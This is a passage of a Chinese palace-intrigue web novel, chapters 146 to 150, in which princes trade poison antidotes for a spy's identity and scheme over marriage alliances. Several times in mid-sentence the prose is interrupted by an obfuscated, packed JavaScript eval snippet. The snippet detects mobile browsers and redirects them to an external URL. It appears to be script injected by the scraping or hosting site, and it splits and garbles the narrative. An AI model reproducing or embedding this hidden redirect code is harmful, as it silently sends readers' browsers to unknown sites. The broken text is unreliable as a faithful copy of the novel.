他现在只剩下不到十二个时辰的时间,实在是不想将时间浪费在这些无关紧要的琐事之上。 萧怀瑾却似乎并不打算轻易放弃,依旧坚持道:“不过是上点药而已,耽误不了多少时间的。若是带着这伤回去,怕是会让姜丞相胡思乱想,徒增烦恼。” 姜天泽心中顿时涌起一股难以抑制的怒火,语气不善地反问道:“五皇子殿下,您很闲吗?” 第146章 跟强盗有何区别? 第一百四十六章跟强盗有何区别? 萧怀瑾显然没料到姜天泽会如此直白地发难,一时之间竟有些怔愣,不知如何作答。 姜天泽继续冷声嘲讽,言语间是少年特有的不屑:“想必五皇子殿下平日里一定是清闲得很,才能在这戒备森严的皇宫里闲逛逗鹿吧?天泽真是羡慕五皇子殿下,生于皇家,便能得享皇权和强大母族的庇佑,什么也不用做,便可一辈子衣食无忧,尽享荣华富贵!” 这番话如刀子一般,毫不留情地捅向萧怀瑾的心口。 他脸色瞬间变得苍白,下意识地看向一旁的姜姝宁:“姜姑娘……你也是这般看待我的吗?” “殿下,我三弟年幼无知,童言无忌,您千万别往心里去!”姜姝宁一边说着,一边拉了拉姜天泽的衣袖,暗示他适可而止,“天泽,快向五皇子殿下赔礼道歉!” “不必了。”萧怀瑾神情黯然地后退一步,脸上浮现出一抹苦涩的笑容,“令弟所言……或许也有几分道理。姜姑娘,姜公子,告辞。” 说完,他便转身离去,背影显得格外孤寂和落寞。 目送着萧怀瑾消失在视线尽头,姜姝宁转过身,有些责怪地看向姜天泽:“你方才为何要说那番话?” “天泽只是实话实说!”姜天泽神色阴郁,眼神中闪烁着一丝不甘,“有些人之所以能过上锦衣玉食的生活,并非完全依靠自身努力,而是因为他们命好,投胎在了皇家。若褪去皇子的光环,他未必就比其他人强!” 姜姝宁苦涩一笑:“三弟,你有所不知,命好本身就是常人难以企及的优势,相比之下,努力反倒显得微不足道了。” 萧怀瑾有些失魂落魄地来到福禄宫。 看到他,荣贵妃笑容满溢:“瑾儿,你来了?” 萧怀瑾心不在焉地点了点头,随即问:“母妃,外祖父最近在忙些什么?许久未见他进宫了。” “最近大邺东边发现了一座储量丰富的金矿,如今正在紧锣密鼓地开采中。 开采出来的金子,一部分会用来铸造新的货币;另一部分则会打造成精美的商品,出售给国内富庶的百姓,或是销往其他国家,以充盈国库。 你父皇命你外祖和舅舅负责打通各个销售渠道,确保金矿开采的利益最大化。” 荣贵妃一边娓娓道来,一边慢条斯理地端起茶杯轻啜了一口。 萧怀瑾问:“母妃,儿臣能否恳请您向父皇进言,让外祖父和舅舅也带儿臣一同参与此事?儿臣也想为大邺尽一份绵薄之力。” 荣贵妃喝茶的动作一顿:“怎么突然提出这样的要求?” 萧怀瑾想起方才姜天泽对自己说的那番话,就差把“皇室蛀虫”四个字贴在他额头上了。 他苦笑道:“母妃,儿臣自知不通武艺,也并无一技之长傍身,若非生在皇家,恐怕连寻常的富家公子都比不上。 外祖父素来精于商道,儿臣不如趁此机会,跟随他老人家学习一些经商的技巧,或许将来也能为大邺的繁荣昌盛贡献一份力量!” “可……”荣贵妃有些迟疑,“疏通销售渠道,可并非看上去那么简单轻松,需要频繁地往来于大邺各地,甚至还要远赴其他国家,一路颠簸劳顿,其中的辛苦可想而知啊!” “外祖父和舅舅他们都不畏惧辛苦,儿臣正值青春年少,又怎能轻易退缩呢?母妃,还请您成全儿臣的请求吧!儿臣也想学些真本事,摆脱一直以来都只能仰仗母妃和外祖庇护的窘境,证明自己并非一无是处。” 既然姜姝宁的弟弟姜天泽都觉得他是个皇室蛀虫,想必姜姝宁也如此想。 他不想让自己心爱的女子看轻自己。 不管怎样,他都要学点真本事。 荣贵妃脸上露出欣慰的神色:“瑾儿长大了。既然你如此坚持,那母妃便与你父皇好好商议一番,让他恩准你跟随外祖父和舅舅一同前往,也算是让你开阔一下眼界,增长一些见识!” “多谢母妃成全!”萧怀瑾闻言,顿时如释重负,脸上也露出了久违的笑容。 —— 姜天泽回到相府,立即去找他的母亲姜三夫人。 听说儿子被四皇子强行喂下**,并勒令她在十二个时辰之内交出幕后买家的信息,姜三夫人顿时又惊又怒。 “这四皇子的手段着实恶劣!这跟强盗有何区别?” 姜天泽反倒显得异常冷静。 “母亲,现在是您做出抉择的时候了。究竟是选择交出买家信息,还是眼睁睁地看着我毒发身亡,命丧黄泉?” 姜三夫人浑身颤抖,她用力闭上眼睛,睁开眼睛时,眼里只剩下决绝。 “去告诉四皇子殿下,买家便是姜瑶真的生母,姜家姨娘!” “姜家姨娘?她不是早就**吗?”姜天泽有些诧异地问。 “她当年是假死脱身,为的就是掩盖她身为南月细作的**。这些年来,她一直潜伏在暗处,偷偷摸摸地搜集着关于大邺的各种机密情报,送到南月人手中。” “所以,她想杀四皇子殿下,是因为四皇子识破了她南月细作的身份?”姜天泽问。 姜三夫人冷笑起来:“怕是没那么简单。‘牡丹花下’是我炼制的最阴毒的**,想来他们之间肯定有不为人知的仇恨,才会让那南月细作愿意用高昂的代价向我买下这种狠辣的毒物。” “若我将她是买家的真相告诉四皇子,那南月细作可会报复你?”姜天泽略带担忧地问。 “事到如今,也顾不了那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714241|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”姜三夫人叹了口气,“任何事情都比不上你的性命重要。快,拿着这个消息,去找四皇子殿下交换解药,务必要保住自己的性命!” “是,母亲!” 四皇子说的没错,只要他的性命受威胁,他的母亲会不顾一切将买家信息和盘托出! 深夜,姜三夫人趁着家人熟睡,偷偷溜出相府。 来到一处僻静的角落,她从怀中掏出一支造型奇特的哨子,放在唇边,吹奏出一串低沉而古怪的音符。 哨声在寂静的夜空中回荡,片刻之后,一个黑色的身影如同鬼魅一般,悄无声息地出现在她面前。 黑衣人用手势比划:“深夜唤我前来,究竟有何要事?” 姜三夫人目光闪烁:“你们擅自对姜姝宁下‘牡丹花下’的毒,惹祸上身了。四皇子不仅识破了我南月毒师的身份,还给我儿天泽喂下了剧毒,勒令他必须在明日午时之前,将购买‘牡丹花下’的幕后买家信息如实相告,否则,便不会给他解药!” 穿着黑色夜行服的姜家姨娘顿时惊慌失措,双眸圆睁,飞快地比划问:“你告诉他了?” “自然!没有什么比我的天泽更重要!”姜三夫人冷冷看着她,“我特意前来知会你一声,劝你识相一点,尽早带着你女儿离开这是非之地,以免明日四皇子得知真相,会要了你们母女的性命!” “我们能去哪里?我们身中四皇子的毒,每个月都必须按时服用他给的解药,否则便会全身溃烂而死!” 姜家姨娘情绪彻底失控,比划的手势也变得凌乱起来,“本来我们是打算给四皇子下毒,逼他交出解药的,却没想到不仅计划失败,还被你暴露了我就是幕后买家!这次,我们母女都被你给害**!” 姜三夫人闻言,神色顿时变得晦暗不明。 说起来,这件事的确是她理亏在先,若非为了救自己的儿子,她也不会出卖姜家姨娘,坏了买卖规矩。 “这样吧,我虽然不会制作解药,但我知道一种以毒攻毒的方法。我这里有一种特殊的**,服用之后,可以使女子肤如凝脂,吹弹可破,即便受伤也能迅速痊愈,不留半点疤痕,堪称驻颜圣品。只不过,这种**有一个副作用,但我想对于你而言,应该并无大碍。” “什么副作用?”姜家姨娘急切地比划问。 “此**会让人无法生育。” “什么?”姜家姨娘脸上浮起愠色,她比划道,“真儿将来是要成为这大邺最尊贵的女子,她怎么能无法生育?” 姜三夫人冷笑起来:“你就那么肯定,你们的计谋能成?我劝你野心不要太大!是死还是不生育,你自己选吧!” 姜家姨娘犹豫了片刻,终于咬牙下定决心:“把那毒给我吧!” 第147章 碍眼的情敌离开了 第一百四十七章碍眼的情敌离开了 第二日清晨,姜天泽一大早就来到姜姝宁的翠竹院,恳求道:“大姐姐,劳烦你带我进宫一趟,我有要事需面见四皇子殿下。昨日他的招数让我颇为佩服,我想再与他切磋一番。” 姜姝宁闻言,难以置信地盯着他尚未痊愈的左眼,眼角微抽:“三弟,你是认真的吗?” 说实话,直到现在,她仍觉得萧凌川昨日是故意对姜天泽下狠手的。 不然,为何偏偏在他脸上留下如此显眼的伤痕? 这个男人,连如此酷似自己的脸都能狠心下手,简直冷酷无情! “大姐姐,别问了,我们赶紧出发吧!”姜天泽催促道。 还有几个时辰他体内的毒就要发作了,必须尽快见到萧凌川,拿到解药! 不多时,姜天泽便随姜姝宁一同进了宫。 借着单独切磋的由头,姜天泽将姜姝宁支开,随后将买家信息一五一十地告知了萧凌川。 萧凌川也不食言,按约定将解药交给了他。 姜天泽接过解药,毫不犹豫地服下,随后朝萧凌川郑重行礼:“多谢殿下救命之恩!还望殿下信守承诺,提携在下,在下定当感激不尽!” “放心,本皇子言出必行。”萧凌川语气淡漠,眼中却闪过一丝审视的光芒,“不过,若你和你母亲想在大邺平安无事,就必须为本皇子效力。从今往后,你母亲不能再跟姜瑶真母女做生意。这个要求,你可应允?” “在下也有一个请求。”姜天泽神色阴沉,咬牙道,“那姜家姨娘如此陷害我大姐姐,希望殿下能让她生不如死!” 听到这话,萧凌川脸上浮现出一抹满意之色。 不愧是姜姝宁疼爱的堂弟,果然一心为她着想。 “放心,此次下毒,她是冲着本皇子来的,本皇子又怎会轻易饶过她?”萧凌川冷冷一笑,语气中透着森然寒意,“你且看着吧,本皇子定会让她付出惨痛代价!” “既如此,在下与母亲,自当为殿下效忠!”姜天泽沉声应道,眼底掠过一丝寒芒。 姜天泽从操练场回到正厅,姜姝宁立刻迎上前,神色紧张地打量着他脸上是否添了新伤,确认无恙后才暗暗松了一口气。 两人向萧凌川行礼告别,随后并肩走在出宫的宫道上。 “四皇子殿下没为难你吧?”姜姝宁问。 “没有,他只是再三叮嘱,让我日后忠心于他。”姜天泽低声回道,眼底闪过一抹晦涩的光芒,“大姐姐放心,我自有分寸,知道该如何与他周旋。” 刚才在萧凌川面前承诺效忠,不过是权宜之计,表面上的臣服罢了。 如今他母亲的身份已被识破,若想在大邺继续安稳度日,暂时低头是唯一的出路。 姜姝宁脸上露出几分欣慰:“那就好,我还怕你在四皇子那里吃亏。” 姜天泽脑海中浮现出昨日被拧着胳膊、狼狈跪地的模样,不由暗自庆幸道:幸好没让大姐姐瞧见那副丢人的样子,不然,脸面可就丢尽了! 就在他们快要走出宫门之际,一名内侍快步上前,恭敬地朝姜姝宁行了一礼:“可是相府的姜姑娘?” “正是,这位公公有何事?”姜姝宁微微颔首,疑惑地问道。 内侍双手奉上一封信,信封上写着“姝宁亲启”四个字,语气恭谨:“这是五皇子殿下特意托奴才转交给姜姑娘的,请姜姑娘收下。” “多谢公公!”姜姝宁接过信,礼貌地道谢。 内侍离开后,姜天泽忍不住撇了撇嘴,小声嘀咕:“有什么话非得写在信里?这五皇子殿下的花样还真是多!” 姜姝宁没搭腔,她拆开信封,认真地看了起来。 “姜姑娘: 见信时,我已离开皇宫,跟随祖父与舅舅,踏上为黄金寻找商机的道路。 前些日子,你那堂弟的一番话,如同醍醐灌顶,让我幡然醒悟。我意识到,除去皇子的身份,自己实则一无是处,如同瓦砾置于星空之下,黯淡无光。 你堂弟的言辞,一针见血,直击我的要害。我平日里确实仰仗皇权庇护,受母族呵护,如同雏鸟依偎在巢穴之中,从未经历风雨。一旦离开庇护,才知世事艰难,自身渺小如蝼蚁。 但我深知,为了日后能够更好地辅佐君王,守护社稷,我必须学习技艺,增长才干。正如鲲鹏想要展翅翱翔于九天之上,必先经受振翅的磨砺。 希望下次见面时,能让你对我刮目相看,惊叹于我的蜕变。 怀瑾敬上” 姜姝宁合上信,抬头看向姜天泽,语气中带着几分欣慰:“五皇子殿下决定离宫,为大邺开拓商机去了。说起来,这还得归功于你昨日那番话,点醒了他。 他不愿在宫中做个只靠皇权和母族庇护、毫无建树的皇子,所以决定外出历练,增长见识。这样的上进心,着实难得。” 姜天泽听后,心中暗自窃喜。 太好了,五皇子这个碍眼的情敌终于要离开皇宫了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714242|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这下,他总不能再像从前那样,千方百计地纠缠大姐姐了! 姜瑶真这边,得知南月毒师给她的以毒攻毒之药会让她丧失生育能力,竟没有丝毫犹豫便吞服了下去。 姜家姨娘见状,眼中闪过一丝震惊,急忙比划道:“将来无法生育子嗣,你当真不后悔?” “后悔什么?”姜瑶真轻笑一声,语气中满是不屑,“比起保住性命,无法生育根本不算什么大事。况且,这**还能让我的肌肤更加细腻光滑,简直是意外之喜,堪称完美!” 她顿了顿,又道,“娘,你难道不知吗?当今圣上也不是太后亲生,可这并不妨碍太后成为大邺皇宫中最尊贵的女子。待到南月掌控大邺之日,我大可效仿她,随意找个生母好拿捏的皇子记在名下,不就行了?” 姜家姨娘闻言,若有所思地比划道:“此生不做母亲,你心里就没有一丝遗憾?” “分娩本就是一只脚踏进鬼门关,还可能让腰身走样,肌肤留下难看的纹路,不生孩子,又能有什么遗憾?若是我腰身变粗,身上留下痕迹,那才是真正的遗憾! 如今有了三婶这**,四皇子再也奈何不了我们。娘,你说,还有什么比这更值得高兴的?” 反正如今萧修湛早已不踏足她的房中,她根本没有怀孕的机会,这与无法生育又有何区别? 不如将美貌这把利剑磨得更加锋利,让萧修湛重新为她沉迷,欲罢不能,言听计从,这才是真正的上策! 姜家姨娘看着女儿这幅笃定自信的模样,眼中流露出深深的欣慰。 她的女儿果然与众不同,志向远大,注定要成为天下最尊贵的女子! 很快,姜瑶真母女每月需服用解药的期限到了。 萧凌川本打算等着姜家姨娘哭着来求自己,再狠狠磋磨她们母女一番,給她们一个永生难忘的教训,却没想到她竟迟迟未现身。 偶尔在宫中撞见姜瑶真,她不仅脸上没有半分溃烂的痕迹,反而肤色比以往更加白皙透亮,整个人光彩夺目。 她甚至故意上前与他打招呼,笑靥如花,眼神中仿佛在挑衅:“瞧瞧,你现在根本拿我没办法!” 凌风凑近萧凌川,低声提醒道:“殿下,南月细作这颗棋子,恐怕已脱离掌控了!” 他们的**对姜瑶真母女已然失效,自然再也无法驱使南月细作为他们效力。 萧凌川脸色阴沉,眼中寒光乍现,冷冷吐出一句:“既然不受掌控,那就找个机会,彻底废了她!” 第148章 歹毒的誓言 第一百四十八章歹毒的誓言 “殿下,那姜瑶真该如何处置?她如今已是三皇子妃,恐难轻易对她下手。”凌风低声问道。 “无妨,暂且留着她的命,日后还有用处。你先替我办一件事,去给苏家当家人苏老爷送一封请帖,约他来福酒楼与我一见。”萧凌川沉声吩咐。 “是,殿下!”凌风领命而去。 若说萧怀瑾的母族崔家是大邺首富,那苏家便是当之无愧的第二富商。 尤其是在京城,苏家几乎涉足所有赚钱的行当,春香楼、来福酒楼、会客茶楼等他们皆有参股。 崔家大多将财富用于社稷,最终钱财多流入国库;而苏家则不同,他们赚的每一分银子都装进了自家腰包。 因此,崔家名声更佳,但苏家却是真正富得流油的商人。 萧凌川与苏老爷在来福酒楼的雅间会面,二人相谈甚欢。 席间,萧凌川特意提及苏老爷那刚满十八岁的女儿的婚配之事。 这位苏姑娘是苏老爷的掌上明珠,极受宠爱,京城世家贵族踏破门槛也未能入她的眼。 萧凌川记得,前世她直到二十二岁的高龄才嫁给萧修湛为侧妃,为萧修湛的夺嫡之路提供了不少财力支持。 今生萧修湛财力匮乏,想必会更早将她迎娶进门。 为了逼萧修湛尽快行动,萧凌川故意放出风声,让自己与苏老爷会面之事传得人尽皆知。 凌风不解,忍不住问:“殿下,逼三皇子早日娶苏姑娘,岂不是让他更早得到苏家的财力支持?这对我们有何好处?” 萧凌川闻言,嘴角勾起一抹冷笑:“欲速则不达。苏老爷是商人,精于算计。若他察觉萧修湛娶他女儿只是为了财力,必然不愿轻易付出。届时,萧修湛为了促成这门亲事,势必许下更多承诺。这些承诺,足以让他日后焦头烂额,后院不宁。” 前世苏姑娘挑挑拣拣,始终没遇上合心意的男子,直到二十二岁才被萧修湛纳为侧妃。 苏老爷为了让女婿善待女儿,给了丰厚的嫁妆,这些嫁妆最终都被萧修湛挪用,供养了自己的私兵。 但今生,若萧修湛此时便向苏老爷提亲,除非能拿出足够打动苏家父女的条件,否则难以成事。 而这些条件,足够让他的后院日后燃起熊熊大火。 很快,萧凌川和苏老爷会面、意欲求娶苏家姑娘的传言如风一般席卷了整个京城的大街小巷。 姜姝宁自然也听到了这桩流言。 萧凌川要娶苏家姑娘? 看来今生他是打算借助苏家的财力,为自己的夺嫡之路铺平道路。 若他如今倾向于与苏家结盟,是否意味着他要放弃崔家? 想到这里,姜姝宁心中不由得一紧。 是因为萧怀瑾对她生出了情意,让萧凌川感受到了威胁,才做出如此重大的转变吗? 崔家这些年确实为大邺国库增添了不少财富,但他们的昌盛也离不开皇权的庇护。 一旦失去这份庇护,再大的家业也不过是他人砧板上的鱼肉罢了。 若母族衰败,不敢想象等待萧怀瑾的将会是什么。 姜姝宁越想越不安,索性生出了说服萧凌川的念头。 她亲手做了他爱吃的杏仁干酪饼,又花重金熬了一锅珍贵的七珍汤,特意让凌芜往宫中传信,约萧凌川在来福酒楼一会。 来到约定的雅间,萧凌川掀开食盒,尝了一口汤水,长眉微微一挑,略带意外地笑道:“姜姑娘真是大手笔啊!” 这七珍汤的用料着实不便宜。 姜姝宁笑盈盈地回应:“理应如此。殿下承诺提携我三弟天泽,我这个当姐姐的,自然得有所表示。” 其实她心里肉疼得厉害,那七珍汤的材料贵得离谱,喝这一盅汤,简直跟吞金子没什么两样! 萧凌川眉眼间浮现一抹笑意,伸手握住她放在桌上的纤细玉手,温声道:“你我之间,何须如此客套?你的家人便是我的家人,提携你三弟是应该的。” 姜姝宁不动声色地抽回手,将另一个食盒轻轻推到他面前,笑着说:“殿下,这里还有杏仁饼,您快尝尝吧!” 萧凌川这才不急不慢地拿起一块杏仁饼浅尝一口,心中却还回味着她柔荑的触感。 姜姝宁犹豫片刻,终于开口问道:“臣女听闻,殿下有意与苏家议亲?” 萧凌川本想否认,但抬眸对上她那双略带紧张的清澈眼眸,心中莫名生出一丝期待。 莫非,她吃醋了? “嗯,确实有这个打算。”他目光游移,桃花眼瞥向别处,怕被她识破谎言。 果然如此! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722143|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜姝宁心中一紧,斟酌着言辞,小心翼翼地问道:“殿下……是准备让她做侧妃吗?” “还未想得那么周详。怎么,你在意此事?”他说话时,目光紧紧锁住她,不愿错过她脸上任何细微的神情变化。 姜姝宁深吸一口气,终于将心中反复思量的话语说了出来:“殿下若只是想娶个侧妃,不如在崔家选一位姑娘,岂不更好?” “什么?”萧凌川一愣,几乎以为自己听错,“你让我娶崔家的姑娘当侧妃?” 姜姝宁连忙为他分析道: “殿下,苏家虽富甲一方,但根基尚不稳固,距离成为大邺真正的钱袋子还有些距离。若您有意提携他们,还需试探其忠诚度。若彼此磨合不顺,对您而言也是一场不小的损耗。 不如直接娶崔家之女为侧妃,这样既能确保崔家继续为殿下效力,也能让殿下与崔家的关系更为紧密……” 她侃侃而谈,萧凌川的眉头却越蹙越紧。 “原来你今日如此大费周章,又是杏仁饼又是七珍汤,只是为了说服我不要放弃崔家?你字字句句说为我着想,可每一个字都在为萧怀瑾做打算! 你怕崔家失势,会连累萧怀瑾,让他无法再做皇宫里那个温润如玉的翩翩公子。姜姝宁,萧怀瑾对你就如此重要吗?” 最后一句话,他几乎是怒吼而出。 姜姝宁能感受到他汹涌的怒火正在燃烧、蔓延,心中猛地一沉。 糟了,萧凌川又发疯了。 他每次发疯都听不进任何劝说,只会固执己见。 姜姝宁僵了片刻,才底气不足地低声辩解:“殿下……臣女……真的是在为您着想啊!” “是吗?你敢对天起誓,说你对萧怀瑾没有半点情意,今日所言皆是为我一人考虑?若有半句虚言,就让你此生……”他一字一句,带着刻骨的恶意,“抱憾而终!” 姜姝宁眼眶酸涩,身体微微颤抖。 好歹毒的誓言啊! 抱憾而终,岂不是和前世一样的下场? 萧凌川果然知道她最在意什么,就连这毒誓都像是往她心口上扎刀。 可她明白,若自己不立下下这样的毒誓,他是绝不会相信她的话。 为了崔家,为了萧怀瑾和荣华公主…… “好,我对天起誓!” 第149章 染上她的口脂 第一百四十九章染上她的口脂 姜姝宁深吸一口气,竖起三根手指,郑重道:“我对萧怀瑾没有半点情意,今日所言皆是为四皇子殿下一人着想。若有半句虚言,就让我此生……” “够了!”萧凌川猛地打断她的话,眉眼间尽是冷厉的戾气,“既然是虚情假意,就算立下毒誓又能如何?” 他忽然伸手扣住她的后脑勺,强迫她靠近自己,一双摄魂勾魄的桃花眸紧紧锁住她,一字一句道,“姜姝宁,你给我听清楚了,兑现诺言的那一天,你必须把心里不该有的人彻底清出去。我要你心里眼里,只有我一人!你听懂了吗?” 他靠得极近,近到她能看清他根根分明的睫毛,感受到他咬牙切齿间喷洒出的气息。 然而,这距离非但没有带来半分旖旎,反而让她感到无形的压迫和如芒在背的威胁。 姜姝宁张了张嘴,小心翼翼地挤出三个字:“听懂了!” 下一瞬,他炽热的唇骤然覆上,带着不容拒绝的侵略意味,仿佛在宣示**一般,霸道而又狂热地在她唇上印下他的烙印。 姜姝宁无力挣脱,只能被迫承受这狂风暴雨般的吻,直到肺中的空气被抽干,才得以喘息。 他唇上沾着她的胭脂,原本就过于俊美的面容显得越发妖冶惑人。 姜姝宁的脸红得如盛开的牡丹,一双水润的眼眸中却涌动着隐忍的愠色,敢怒不敢言。 罢了,他既已发疯,多说无益,还是暂且忍耐吧! 萧凌川定定地凝视了她片刻,直到眼底的炙热褪去,这才慵懒地开口:“崔家和苏家的女儿,我都不打算娶。不过,你的建议倒是点醒了我。既然崔家与苏家都是对大邺有益的富商,我何不……促成他们的联姻?” 姜姝宁一愣。 还未等她回过神来,便听萧凌川阴冷一笑:“是时候给萧怀瑾找个侧妃了!我看,苏家女儿就很合适!” 姜姝宁难以置信地望着他。 他真的,疯了! 萧凌川从来福酒楼出来,沉着脸吩咐凌风:“回宫,去见荣贵妃,和她商议崔苏两家结亲之事!” 凌风一愣,疑惑道:“崔苏两家生的不都是姑娘?如何结亲?” 萧凌川冷哼:“这不是还有我五弟萧怀瑾吗?” 凌风愣了半晌才反应过来:“殿下是想让苏家姑娘嫁给五皇子殿下?您之前不是说,若苏姑娘嫁给三皇子殿下,能让他的后院起火吗?” “如今萧修湛的后院还没起火,我的后院倒是先要烧起来了!”萧凌川面色阴沉,语气中透着几分不悦,“得给萧怀瑾找个侧妃管管他,别让他再出现在姜姑娘面前!” 凌风:“……” 殿下,您还没娶妻纳妾,哪来的后院? 果然,每逢涉及姜姑娘的事,他们主子总有些不太正常。 突然,他似是想到了什么,急忙唤住萧凌川:“殿下,且慢!” “闭嘴!说什么我都不会改变主意!” 萧凌川语气冷硬,他要用强硬手段斩断姜姝宁对萧怀瑾的情意,哪怕付出意想不到的代价! “属下是想提醒殿下,您嘴上……”凌风有些难以启齿,“沾了女子用的口脂!” 若是以这副模样去见荣贵妃,旁人还以为他刚从春香楼出来。 萧凌川这才停下脚步,慢条斯理地拭去唇上那抹引人遐想的红。 福禄宫中,荣贵妃虽极力保持端庄,但眉眼间仍难掩心中的惊讶。 “四皇子是在与本宫玩笑吗?都说同行是冤家,崔家与苏家皆以经商为本,一个是大邺首富,一个是大邺次富,两家多年来争抢客源与市场,彼此早就互看不顺眼,如何能结亲?” 萧凌川不以为然,端起桌上的茶杯轻啜了一口,神色浅淡:“正因如此,才需五弟成为联结两家的纽带。荣贵妃,难道您想看崔家与苏家继续明争暗斗下去吗?若两家联手,共同为大邺效力,岂不是更好?” 荣贵妃眉头微动:“你想让苏家也成为大邺的钱袋子?” “正是!”萧凌川毫不掩饰他的目的,“不过荣贵妃放心,崔家永远凌驾于苏家之上。崔家是大钱袋子,苏家只是小钱袋子,今后还需听从崔家安排。只需一场联姻,崔家便能得到掌握操控苏家的机会,荣贵妃当真不动心?” 荣贵妃自然心动。 崔家为大邺皇室效力,行事往往受限,束手束脚。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722144|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏家不同,他们只需遵循商人的本性追逐利益即可,因此这些年赚得盆满钵满。 若能掌控苏家的财富,崔家能做的事便会多上许多。 “只是……瑾儿怕是不会同意。”荣贵妃强压下直接同意的冲动,沉声道,“况且他如今也不在宫中,随他外祖舅舅出门历练去了。” 见她明显意动,萧凌川趁势追击:“婚姻大事,自有父母之命、媒妁之言。区区一个侧妃罢了,荣贵妃完全可以替他做主。” 荣贵妃目光讳莫如深地落在他脸上:“四皇子今日前来,怕不仅仅是为了崔苏两家之事吧?” “当然,我也有自己的私心!”萧凌川并不打算隐瞒,笑得意味深长,“不过,我只让五弟娶个侧妃。若那人与他真是情投意合,他将正妃之位留给她,想必她也会欣然接受的。” “四皇子说得倒是轻巧,那你自己为何不娶?”荣贵妃语气中带着几分试探,“崔苏两家的女儿,一家娶一个,大小钱袋子不就都握在你手上了?” “我可不像三哥那般风流,那么多妻妾,我消受不起!”萧凌川皮笑肉不笑,知道必须抛出更有诱惑力的条件,才能彻底打动荣贵妃。 “若荣贵妃能促成此事,他日我若君临天下,便许您一个太后之位,如何?” “什么?”荣贵妃几乎怀疑自己听错了,“太后?” “荣贵妃莫忘了,我的生母不过是一名南月歌伎,且早已亡故。若有朝一日我问鼎天下,自然需要一个强盛的母族作为依仗。到那时,崔家便是最合适的选择,而荣贵妃自然也能成为太后。” 他的暗示再清楚不过:一旦他登上皇位,便会对外宣称自幼记在荣贵妃名下。 而她作为抚养皇帝的后宫嫔妃,自当成为皇宫中最尊贵的女人——太后。 荣贵妃藏在袖子底下的手在微微颤抖。 如此诱人的条件,她怎么可能不动心? 这不仅关乎她个人的荣耀,更是为了整个崔家。 崔家世代经商,即便为大邺皇室效力,却始终被其他世家贵族轻视。 若崔家能出一位太后,从此便能世代尊荣,再无人敢小瞧他们! 她深吸一口气…… 第150章 感情骤然升温 第一百五十章感情骤然升温 “好,本宫应允此事,让瑾儿迎娶苏氏女为侧妃。四皇子也莫忘了今日对本宫的承诺。”荣贵妃语气沉稳,眼中却闪过一丝期待。 萧凌川起身,郑重行礼:“多谢荣贵妃!贵妃放心,君子一诺,驷马难追。待他日我登大位,定兑现今日之言!明日我便带苏老爷入宫,您与他详谈结亲事宜,也好早日禀明父皇,择良辰吉日,为五弟与苏姑娘完婚!” 荣贵妃微怔:“这……是否太急了些?” “不急。”萧凌川笑意深长,“荣贵妃,苏家那位十八岁的姑娘如今可是炙手可热,若慢了一步,恐被他人捷足先登!” 他所言不虚。 自从他与苏老爷会面议亲的消息传到萧修湛耳中,三皇子便与熙贵妃忙着筹备向苏家提亲。 姜瑶真听闻此事,怒不可遏,在麟阁宫大闹一场:“你我成婚才几月,你便急着纳侧妃?殿下眼里还有没有我这个正妃?” 萧修湛满脸不耐,冷声应道:“依大邺律法,皇子婚后一月便可纳侧妃。你既善妒又泼辣,休了你我都有理,何况只是纳个侧妃!” “你……”姜瑶真气得口不择言,“好一个皇子!建功立业不见你多积极,娶妻纳妾倒是比谁都勤快!帝王之术就只学会如何扩充后宫了?” 这话正中萧修湛痛处,他怒气上涌,抬手“啪”地甩了她一记耳光。 “若非你当初执意要婚礼体面、聘礼贵重,本皇子如今何至于如此捉襟见肘!”萧修湛怒目而视,“如今母妃后宫的账目还未清平,娶苏氏女为侧妃,还不是为了填补你留下的那些亏空!” 姜瑶真捂着脸,被他那凶神恶煞的模样吓到了。 回过神后,她才察觉不对劲。 一场婚宴和看似厚重的聘礼,竟能让熙贵妃的后宫账目平不了? 这怎么可能? 分明是他们母子将钱财挪作他用,却把罪名扣在她头上! 什么为了填补亏空才娶苏氏女,全是借口! 萧修湛见她捂着脸沉默,一双明眸幽怨地盯着自己,心中莫名一虚。 “你这样盯着我做什么?” 